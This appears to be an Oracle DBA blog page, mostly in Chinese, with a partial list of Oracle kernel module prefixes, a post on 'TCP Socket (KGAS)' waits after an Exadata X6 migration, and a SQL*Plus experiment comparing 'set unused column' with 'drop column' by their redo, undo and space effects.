knt kntg kntx repl/trigger support for replication internal trigger operation
koc objmgmt/objcache support for managing ADTs objects in the OOCI heap
kod objmgmt/datamgr support for persistent storage for objects : for read/write objects, to manage object IDs, and to manage object concurrency and recovery.
koh objmgmt/objcache object heap manager provides memory allocation services for objects
koi objmgmt/objmgr support for object types
koka objsupp/objdata support for reading images, inserting images, updating images, and deleting images based on object references (REFs).
kokb kokb2 objsupp/objsql support for nested table objects
kokc objmgmt/objcache support for pinning , unpinning and freeing objects
kokd objsupp/datadrv driver on the server side for managing objects
koke koke2 koki objsupp/objsql support for managing objects
kokl objsupp/objdata lob access
kokl2 objsupp/objsql lob DML and programmatic interface support
kokl3 objsupp/objdata object temporary LOB support
kokle kokm objsupp/objsql object SQL evaluation functions
kokn objsupp/objname naming support for objects
koko objsupp/objsup support functions to allow oci/rpi to communicate with Object Management Subsystem (OMS).
kokq koks koks2 koks3 koksr objsupp/objsql query optimisation for objects , semantic checking and semantic rewrite operations
kokt kokt2 kokt3 objsupp/objddl object compilation type manager
koku kokv objsupp/objsql support for unparse object operators and object view support
kol kolb kole kolf kolo objmgmt/objmgr support for object Lob buffering , object lob evaluation and object Language/runtime functions for Opaque types
kope2 kopi2 kopo kopp2 kopu koputil kopz objmgmt/pickler 8.1 engine implementation, implementation of image ops for 8.1+ image format together with various pickler related support functions
kos objsupp/objsup object Stream interfaces for images/objects
kot kot2 kotg objmgmt/typemgr support for dynamic type operations to create, delete, and update types.
koxs koxx objmgmt/objmgt object generic image Stream routines and miscellaneous generic object functions
kpcp kpcxlt progint/kpc Kernel programmatic connection pooling and kernel programmatic common type XLT translation routines
kpki progint/kpki kernel programatic interface support
kpls cartserv/corecs support for string formatting operations
kpn progint/kpn support for server to server communication
kpoal8 kpoaq kpob kpodny kpodp kpods kpokgt kpolob kpolon kpon progint/kpo support for programmatic operations
kpor progint/opi support for streaming protocol used by replication
kposc progint/kpo support for scrollable cursors
kpotc progint/opi oracle side support functions for setting up trusted external procedure callbacks
kpotx kpov progint/kpo support for managing local and distributed transaction coordination.
kpp2 kpp3 sqllang/parse kpp2 – parse routines for dimensions;
kpp3 – parse support for create/alter/drop summary statements
kprb kprc progint/rpi support for executing sql efficiently on the Oracle server side as well as for copying data types during rpi operations
kptsc progint/twotask callback functions provided to all streaming operation as part of replication functionality
kpu kpuc kpucp progint/kpu Oracle kernel side programmatic user interface, cursor management functions and client side connection pooling support
kqan kqap kqas argusdbg/argusdbg server-side notifiers and callbacks for debug operations.
kql kqld kqlp dict/libcache SQL Library Cache manager – manages the sharing of sql statements in the shared pool
kqr dict/rowcache row cache management. The row cache consists of a set of facilities to provide fast access to table definitions and locking capabilities.
krbi krbx krby krcr krd krpi rcv Backup and recovery related operations :
krbi – dbms_backup_restore package underlying support.; krbx – proxy copy controller; krby – image copy; krcr – Recovery Controlfile Redo; krd – Recover Datafiles (Media & Standby Recovery); krpi – support for the package : dbms_pitr
krvg krvt rcv/vwr krvg – support for generation of redo associated with DDL; krvt – support for redo log miner viewer (also known as log miner)
ksa ksdp ksdx kse ksfd ksfh ksfq ksfv ksi ksim ksk ksl ksm ksmd ksmg ksn ksp kspt ksq ksr kss ksst ksu ksut vos support for various kernel associated capabilities
ksx sqlexec/execsvc support for query execution associated with temporary tables
ksxa ksxp ksxr vos support for various kernel associated capabilities in relation to OPS or RAC operation
kta space/spcmgmt support for DML locks and temporary tables associated with table access
ktb ktbt ktc txn/lcltx transaction control operations at the block level : locking block, allocating space within the block , freeing up space, etc.
ktec ktef ktehw ktein ktel kteop kteu space/spcmgmt support for extent management operations :
ktec – extent concurrency operations; ktef – extent format; ktehw – extent high water mark operations; ktein – extent information operations; ktel – extent support for sql loader; kteop – extent operations : add extent to segment, delete extent, resize extent, etc. kteu – redo support for operations changing segment header / extent map
ktf txn/lcltx flashback support
ktfb ktfd ktft ktm space/spcmgmt ktfb – support for bitmapped space manipulation of files/tablespaces; ktfd – dictionary-based extent management; ktft – support for temporary file manipulation; ktm – SMON operation
ktp ktpr ktr ktri txn/lcltx ktp – support for parallel transaction operation; ktpr – support for parallel transaction recovery; ktr – kernel transaction read consistency;
ktri – support for dbms_resumable package
ktsa ktsap ktsau ktsb ktscbr ktsf ktsfx ktsi ktsm ktsp ktss ktst ktsx ktt kttm space/spcmgmt support for checking and verifying space usage
ktu ktuc ktur ktusm txn/lcltx internal management of undo and rollback segments
kwqa kwqi kwqic kwqid kwqie kwqit kwqj kwqm kwqn kwqo kwqp kwqs kwqu kwqx oltp/qs support for advanced queuing :
kwqa – advanced queue administration; kwqi – support for AQ PL/SQL trusted callouts; kwqic – common AQ support functions; kwqid – AQ dequeue support; kwqie – AQ enqueu support ; kwqit – time management operation ; kwqj – job queue scheduler for propagation; kwqm – Multiconsumer queue IOT support; kwqn – queue notifier; kwqo – AQ support for checking instType checking options; kwqp – queueing propagation; kwqs – statistics handling; kwqu – handles lob data. ; kwqx – support for handling transformations
kwrc kwre oltp/re rules engine evaluation
kxcc kxcd kxcs sqllang/integ constraint processing
kxdr sqlexec/dmldrv DML driver entrypoint
kxfp kxfpb kxfq kxfr kxfx sqlexec/pq parallel query support
kxhf kxib sqlexec/execsvc khhf- support for hash join file and memory management; kxib – index buffering operations
kxs dict/instmgmt support for executing shared cursors
kxti kxto kxtr dbproc/trigger support for trigger operation
kxtt ram/partnmap support for temporary table operations
kxwph ram/data support for managing attributes of the segment of a table / cluster / table-partition
kza security/audit support for auditing operations
kzar security/dac support for application auditing
kzck security/crypto encryption support
kzd security/dac support for dictionary access by security related functions
kzec security/dbencryption support inserting and retrieving encrypted objects into and out of the database
kzfa kzft security/audit support for fine grained auditing
kzia security/logon identification and authentication operations
kzp kzra kzrt kzs kzu kzup security/dac security related operations associated with privileges
msqima msqimb sqlexec/sqlgen support for generating sql statments
ncodef npi npil npixfr progint/npi support for managing remote network connection from within the server itself
oba sqllang/outbufal operator buffer allocate for various types of operators : concatenate, decode, NVL, etc. the list is extensive.
ocik progint/oci OCI oracle server functions
opiaba opidrv opidsa opidsc opidsi opiexe opifch opiino opilng opipar opipls opirip opitsk opix progint/opi OPI Oracle server functions – these are at the top of the server stack and are called indirectly by ythe client in order to server the client request.
orlr objmgmt/objmgr support for C langauge interfaces to user-defined types (UDTs)
orp objmgmt/pickler oracle’s external pickler / opaque type interfaces
pesblt pfri pfrsqc plsql/cox pesblt – pl/sql built in interpreter; pfri – pl/sql runtime; pfrsqc – pl/sql callbacks for array sql and dml with returning
piht plsql/gen/utl support for pl/sql implementation of utl_http package
pirg plsql/cli/utl_raw support for pl/sql implementation of utl_raw package
pism plsql/cli/utl_smtp support for pl/sql implementation of utl_smtp package
pitcb plsql/cli/utl_tcp support for pl/sql implementation of utl_tcp package
piur plsql/gen/utl_url support for pl/sql implementation of utl_url package
plio plsql/pkg pl/sql object instantiation
plslm plsql/cox support for NCOMP processing
plsm pmuc pmuo pmux objmgmt/pol support for pl/sql handling of collections
prifold priold plsql/cox support to allow rpc forwarding to an older release
prm sqllang/param parameter handling associated with sql layer
prsa prsc prssz sqllang/parse prsa – parser for alter cluster command; prsc – parser for create database command; prssz – support for parse context to be saved
psdbnd psdevn progint/dbpsd psdbnd – support for managing bind variables; psdevn – support for pl/sql debugger
psdicd progint/plsicds small number of ICD to allow pl/sql to call into ‘C’ source
psdmsc psdpgi progint/dbpsd psdmsc – pl/sql system dependent miscellaneous functions ; psdpgi – support for opening and closing cursors in pl/sql
psf plsql/pls pl/sql service related functions for instantiating called pl/sql unit in library cache
qbadrv qbaopn sqllang/qrybufal provides allocation of buffer and control structures in query execution
qcdl qcdo dict/dictlkup qcdl – query compile semantic analysis; qcdo – query compile dictionary support for objects
qci dict/shrdcurs support for SQL language parser and semantic analyser
qcop qcpi qcpi3 qcpi4 qcpi5 sqllang/parse support for query compilation parse phase
qcs qcs2 qcs3 qcsji qcso dict/dictlkup support for semantic analysis by SQL compiler
qct qcto sqllang/typeconv qct – query compile type check operations; qcto – query compile type check operators
qcu sqllang/parse various utilities provided for sql compilation
qecdrv sqllang/qryedchk driver performing high level checks on sql language query capabilities
qerae qerba qerbc qerbi qerbm qerbo qerbt qerbu qerbx qercb qercbi qerco qerdl qerep qerff qerfi qerfl qerfu qerfx qergi qergr qergs qerhc qerhj qeril qerim qerix qerjm qerjo qerle qerli qerlt qerns qeroc qeroi qerpa qerpf qerpx qerrm qerse qerso qersq qerst qertb qertq qerua qerup qerus qervw qerwn qerxt sqlexec/rowsrc row source operators :
qerae – row source (And-Equal) implementation; qerba – Bitmap Index AND row source; qerbc – bitmap index compaction row source; qerbi – bitmap index creation row source; qerbm – QERB Minus row source; qerbo – Bitmap Index OR row source; qerbt – bitmap convert row source; qerbu – Bitmap Index Unlimited-OR row source; qerbx – bitmap index access row source; qercb – row source: connect by; qercbi – support for connect by; qerco – count row source; qerdl – row source delete; qerep – explosion row source; qerff – row source fifo buffer; qerfi – first row row source; qerfl – filter row source definition; qerfu – row source: for update; qerfx – fixed table row source; qergi – granule iterator row source; qergr – group by rollup row source; qergs – group by sort row source; qerhc – row sources hash clusters; qerhj – row source Hash Join; qeril – In-list row source; qerim – Index Maintenance row source; qerix – Index row source; qerjo – row source: join; qerle – linear execution row source implementation; qerli – parallel create index; qerlt – row source populate Table; qerns – group by No Sort row source; qeroc – object collection iterator row source; qeroi – extensible indexing query component; qerpa – partition row sources; qerpf – query execution row source: prefetch; qerpx – row source: parallelizer; qerrm – remote row source; qerse – row source: set implementation; qerso – sort row source; qersq – row source for sequence number; qerst – query execution row sources: statistics; qertb – table row source; qertq – table queue row source; qerua – row source : union-All;
qerup – update row source; qerus – upsert row source ; qervw – view row source; qerwn – WINDOW row source; qerxt – external table fetch row source
qes3t qesa qesji qesl qesmm qesmmc sqlexec/execsvc run time support for sql execution
qkacon qkadrv qkajoi qkatab qke qkk qkn qkna qkne sqlexec/rwsalloc SQL query dynamic structure allocation routines
qks3t sqlexec/execsvc query execution service associated with temp table transformation
qksmm qksmms qksop sqllang/compsvc qksmm – memory management services for the SQL compiler; qksmms – memory management simulation services for the SQL compiler; qksop – query compilation service for operand processing
qkswc sqlexec/execsvc support for temp table transformation associated for with clause.
qmf xmlsupp/util support for ftp server; implements processing of ftp commands
qmr qmrb qmrs xmlsupp/resolver support hierarchical resolver
qms xmlsupp/data support for storage and retrieval of XOBs
qmurs xmlsupp/uri support for handling URIs
qmx qmxsax xmlsupp/data qmx – xml support; qmxsax – support for handling sax processing
qmxtc xmlsupp/sqlsupp support for ddl and other operators related to the sql XML support
qmxtgx xmlsupp support for transformation : ADT -> XML
qmxtsk xmlsupp/sqlsupp XMLType support functions
qsme summgmt/dict summary management expression processing
qsmka qsmkz dict/dictlkup qsmka – support to analyze request in order to determine whether a summary could be created that would be useful; qsmkz – support for create/alter summary semantic analysis
qsmp qsmq qsmqcsm qsmqutl summgmt/dict qsmp – summary management partition processing; qsmq – summary management dictionary access; qsmqcsm – support for create / drop / alter summary and related dimension operations; qsmqutl – support for summaries
qsms summgmt/advsvr summary management advisor
qxdid objsupp/objddl support for domain index ddl operations
qxidm objsupp/objsql support for extensible index dml operations
qxidp objsupp/objddl support for domain index ddl partition operations
qxim objsupp/objsql extensible indexing support for objects
qxitex qxopc qxope objsupp/objddl qxitex – support for create / drop indextype; qxope – execution time support for operator callbacks; qxope – execution time support for operator DDL
qxopq qxuag qxxm objsupp/objsql qxopq – support for queries with user-defined operators; qxuag – support for user defined aggregate processing; qxxm – queries involving external tables
rfmon rfra rfrdb rfrla rfrm rfrxpt drs implements 9i data guard broker monitor
rnm dict/sqlddl manages rename statement operation
rpi progint/rpi recursive procedure interface which handles the the environment setup where multiple recursize statements are executed from one top level statement
rwoima sqlexec/rwoprnds row operand operations
rwsima sqlexec/rowsrc row source implementation/retrieval according to the defining query
sdbima sqlexec/sort manages and performs sort operation
selexe sqlexec/dmldrv handles the operation of select statement execution
skgm osds platform. specific memory management rountines interfacing with O.S. allocation functions
smbima sor sqlexec/sort manages and performs sort operation
sqn dict/sqlddl support for parsing references to sequences
srdima srsima stsima sqlexec/sort manages and performs sort operation
tbsdrv space/spcmgmt operations for executing create / alter / drop tablespace and related supporting functions
ttcclr ttcdrv ttcdty ttcrxh ttcx2y progint/twotask two task common layer which provides high level interaction and negotiation functions for Oracle client when communicating with the server. It also provides important function of converting client side data / data types into equivalent on the server and vice versa
uixexe ujiexe updexe upsexe sqlexec/dmldrv support for : index maintenance operations, the execution of the update statement and associated actions connected with update as well as the upsert command which combines the operations of update and insert
vop optim/vwsubq view optimisation related functionality
xct txn/lcltx support for the management of transactions and savepoint operations
xpl sqlexec/expplan support for the explain plan command
xty sqllang/typeconv type checking functions
zlke security/ols/intext label security error handling component

img

Exadata x6 遭遇大量的 TCP socket 等待事件

客户从IBM POWER迁移到EXADATA X6后遭遇大量的TCP SOCKET等待,该等待开销了大约15%的cpu资源, 系统运行未受影响,待过一段时间后,系统cpu降低,该等待减少.

经过分析客户大量使用了utl相关东西,网络延时不稳定. 该等待事件与HTTP和网络的延时有关.

和power上历史允许的性能数据对比发现历史也存在TCP SOCKET在top 5里.

如下图:

历史小机运行信息:

IMG_3634

x6运行信息:

IMG_3632

 

X6网络情况:

IMG_3633

官方给予的解释:数据库层面不用理会,关注http和网络相关情况.

“TCP Socket (KGAS)” Reference Note

This is a reference note for the wait event “TCP Socket (KGAS)” which includes the following subsections:

See Note:61998.1 for an introduction to Wait Events.

Definition:

  • Versions:10.2 – Documentation: None
  • KGAS is a component in the server which handles TCP/IP sockets which is typically used in dedicated connections in 10.2+ by some PLSQL built in packages such as UTL_HTTP and UTL_TCP.
    The KGAS interface is not involved in client / server communication but is a layer which may be used when a session on the server makes some outbound TCP/IP call using a PLSQL package such as UTL_HTTP. Packages such as UTL_FILE have also reported this wait when making an SMTP call.
  • Note that this wait event is new in 10gR2. Earlier versions of Oracle doing the same operations would still wait inside KGAS for socket operations but such waits were not instrumented and so did not show up as waits.

Individual Waits:

 Parameters:	
    P1 = operation
    P2 = Not used
    P3 = Not used

	operation   P1 gives an indication of what 
		    operation is being performed. 
		    Possible values include:
			 1 Event Post
			 2 Call
			 3 Disconnect
			 4 Receive data
			 5 Send data
			 6 Wait for an event (eg wait for data to arrive)
			 7 Sleep
			 8 Special wait (for single object)
			 9 Special wait (for multiple objects)
			10 Select operation
                

 Wait Time:	
    The wait blocks until the current operation completes
    (or times out / errors as appropriate).

Systemwide Waits:

If the TIME spent waiting for this event is significant then it is best to determine which sessions are showing the wait and drill into what those sessions are doing as the wait is usually related to whatever application code is executing .
eg: What part of the application may be using UTL_HTTP or similar and is experiencing waits. This statement can be used to see which sessions may be worth tracing:

  SELECT sid, total_waits, time_waited
    FROM v$session_event
   WHERE event='TCP Socket (KGAS)'
     and total_waits>0
   ORDER BY 3,2
  ;

Reducing Waits / Wait times:

The waits incurred depend on what sockets are being opened to which remote end points and for what reason. To help find the origin of the socket operations try:

  • Check the current SQL / module / action of V$SESSION for sessions that are waiting on the event at the time that they are waiting to try and identify any common area of application code waiting on the event.
  • Get an ERRORSTACK level 3 dump of some sessions waiting on the event. This should help show the exact PLSQL and C call stacks invoking the socket operation if the dump is taken when the session is waiting. Customers may need assistance from Oracle Support in order to get and interpret such a dump but it can help pinpoint the relevant application code.
  • Trace sessions incurring the waits including wait tracing to try and place the waits in the context of the code executing around the waits. eg: Use event 10046 level 8 or DBMS_MONITOR.SESSION_TRACE_ENABLE.
  • Use DBA_DEPENDENCIES to find any application packages which may ultimately be using UTL_HTTP or UTL_TCP underneath for some operation.

Note that there are no real tunables within Oracle for these waits as they involve the session making a call to some remote TCP/IP socket and typically waiting on data from that source. Once you know what is being called, and why, then you can determine if the response times from that remote source are sensible or not and if not why.Example:
Execute the following SQL from a session on a dedicated connection and then check the resulting trace file to see “TCP Socket (KGAS)” waits:

alter session set events '10046 trace name context forever, level 8';
select utl_http.request('http://www.oracle.com/') from dual;

Related:

Tracing User sessions Note:404833.1

unused column 和 drop column操作实质

unused column和drop column的操作从本质上讲是不一样的,unused是通过变更数据字典的信息让sql无法访问到column,而drop是直接在物理数据层做了变动。这里的操作后台跟踪可以用event 10046去验证,这里不做描述.

下面通过实验的方式验证unused和drop column的操作对比情况:

1.创建测试表

SQL> grant dba to luda;

Grant succeeded.

SQL> conn luda/luda
Connected.


SQL> create table luda_t1 as  select * from dba_objects;

Table created.

SQL> set timing on
SQL> set serverout on
SQL> exec showspace('LUDA_T1','LUDA')
Total Blocks............................768
Total Bytes.............................6291456
Unused Blocks...........................53
Unused Bytes............................434176
Last Used Ext FileId....................4
Last Used Ext BlockId...................2953
Last Used Block.........................75
*************************************************
The segment is analyzed
0% -- 25% free space blocks.............0
0% -- 25% free space bytes..............0
25% -- 50% free space blocks............0
25% -- 50% free space bytes.............0
50% -- 75% free space blocks............0
50% -- 75% free space bytes.............0
75% -- 100% free space blocks...........0
75% -- 100% free space bytes............0
Unused Blocks...........................0
Unused Bytes............................0
Total Blocks............................695
Total bytes.............................5693440

PL/SQL procedure successfully completed.

Elapsed: 00:00:00.00
SQL> select b.name,a.value from v$mystat a,v$statname b where a.statistic#=b.statistic# and b.name='redo size';

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
redo size                                                             80916

Elapsed: 00:00:00.01
SQL> select b.name,a.value from v$mystat a,v$statname b where a.statistic#=b.statistic# and b.name='undo change vector size';

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
undo change vector size                                               21012

Elapsed: 00:00:00.00

2.设置object_name为unused

SQL> alter table luda_t1 set unused column object_name;

Table altered.

Elapsed: 00:00:00.02
SQL> exec showspace('LUDA_T1','LUDA')  ---- 对比操作前,可以发现luda_t1表存储信息未有变动
Total Blocks............................768
Total Bytes.............................6291456
Unused Blocks...........................53
Unused Bytes............................434176
Last Used Ext FileId....................4
Last Used Ext BlockId...................2953
Last Used Block.........................75
*************************************************
The segment is analyzed
0% -- 25% free space blocks.............0
0% -- 25% free space bytes..............0
25% -- 50% free space blocks............0
25% -- 50% free space bytes.............0
50% -- 75% free space blocks............0
50% -- 75% free space bytes.............0
75% -- 100% free space blocks...........0
75% -- 100% free space bytes............0
Unused Blocks...........................0
Unused Bytes............................0
Total Blocks............................695
Total bytes.............................5693440

PL/SQL procedure successfully completed.

Elapsed: 00:00:00.01
SQL> select b.name,a.value from v$mystat a,v$statname b where a.statistic#=b.statistic# and b.name='redo size';

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
redo size                                                             92176

Elapsed: 00:00:00.00

---产生了少量redo日志

SQL> select b.name,a.value from v$mystat a,v$statname b where a.statistic#=b.statistic# and b.name='undo change vector size';

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
undo change vector size                                               25212

Elapsed: 00:00:00.00

--产生了少量undo

3.执行drop unused column

SQL> alter table luda_t1 drop unused column;

Table altered.

Elapsed: 00:00:00.26
SQL> exec showspace('LUDA_T1','LUDA') --对比操作前可以发现在freespace层面25%-50%多出了642的block
Total Blocks............................768
Total Bytes.............................6291456
Unused Blocks...........................53
Unused Bytes............................434176
Last Used Ext FileId....................4
Last Used Ext BlockId...................2953
Last Used Block.........................75
*************************************************
The segment is analyzed
0% -- 25% free space blocks.............0
0% -- 25% free space bytes..............0
25% -- 50% free space blocks............642
25% -- 50% free space bytes.............5259264
50% -- 75% free space blocks............0
50% -- 75% free space bytes.............0
75% -- 100% free space blocks...........0
75% -- 100% free space bytes............0
Unused Blocks...........................0
Unused Bytes............................0
Total Blocks............................53  --总占用block降低为53个,总块数不变642+53=695
Total bytes.............................434176

PL/SQL procedure successfully completed.

Elapsed: 00:00:00.00
SQL>  select b.name,a.value from v$mystat a,v$statname b where a.statistic#=b.statistic# and b.name='redo size';

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
redo size                                                          12393932

--产生大量的redo日志相对比上一次操作的redo量
Elapsed: 00:00:00.01
SQL> select b.name,a.value from v$mystat a,v$statname b where a.statistic#=b.statistic# and b.name='undo change vector size';

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
undo change vector size                                             5128064
--产生大量的undo信息相对比上一次操作的undo量
Elapsed: 00:00:00.00
SQL>

4.执行drop column的测试

SQL> alter table luda_t1 drop column object_type;

Table altered.

Elapsed: 00:00:00.25
SQL> exec showspace('LUDA_T1','LUDA') -- drop 操作效果与drop unused一致,释放空间,降低高水位
Total Blocks............................768
Total Bytes.............................6291456
Unused Blocks...........................53
Unused Bytes............................434176
Last Used Ext FileId....................4
Last Used Ext BlockId...................2953
Last Used Block.........................75
*************************************************
The segment is analyzed
0% -- 25% free space blocks.............0
0% -- 25% free space bytes..............0
25% -- 50% free space blocks............664
25% -- 50% free space bytes.............5439488
50% -- 75% free space blocks............1
50% -- 75% free space bytes.............8192
75% -- 100% free space blocks...........0
75% -- 100% free space bytes............0
Unused Blocks...........................0
Unused Bytes............................0
Total Blocks............................30
Total bytes.............................245760

PL/SQL procedure successfully completed.

Elapsed: 00:00:00.01
SQL>
SQL> select b.name,a.value from v$mystat a,v$statname b where a.statistic#=b.statistic# and b.name='redo size';

NAME                                                                  VALUE
---------------------------------------------------------------- ----------
redo size                                                          23902388
--产生大量的redo日志相对比上一次操作的redo量
Elapsed: 00:00:00.01
SQL> select b.name,a.value from v$mystat a,v$statname b where a.statistic#=b.statistic# and b.name='undo change vector size';
--产生大量的undo信息相对比上一次操作的undo量
NAME                                                                  VALUE
---------------------------------------------------------------- ----------
undo change vector size                                             9439452

Elapsed: 00:00:00.00
SQL>

这里验几个情况:

1.unused column只产生少量的redo和undo,真实在表存储部分并未做变动,高水位线没有变动.真实数据部分并未被oracle处理,而根据trace信息可以发现unused column是在数据字典层面做的变动,对被unused操作的字段打上对于的flag.

2.drop unused column 操作会对被标记为unused flag的数据进行rewrite(trace可以发现)并释放空间,降低高水位,同时产生大量的redo和undo.

3.drop column操作会对整个字段物理数据部分直接进行删除(bbed可以发现),并更新table entries.同时降低高水位产生大量的redo和undo.相当于一次数据重组.

以下的set unused 以及drop column的trace结果图作为参考:

unused_column

drop_column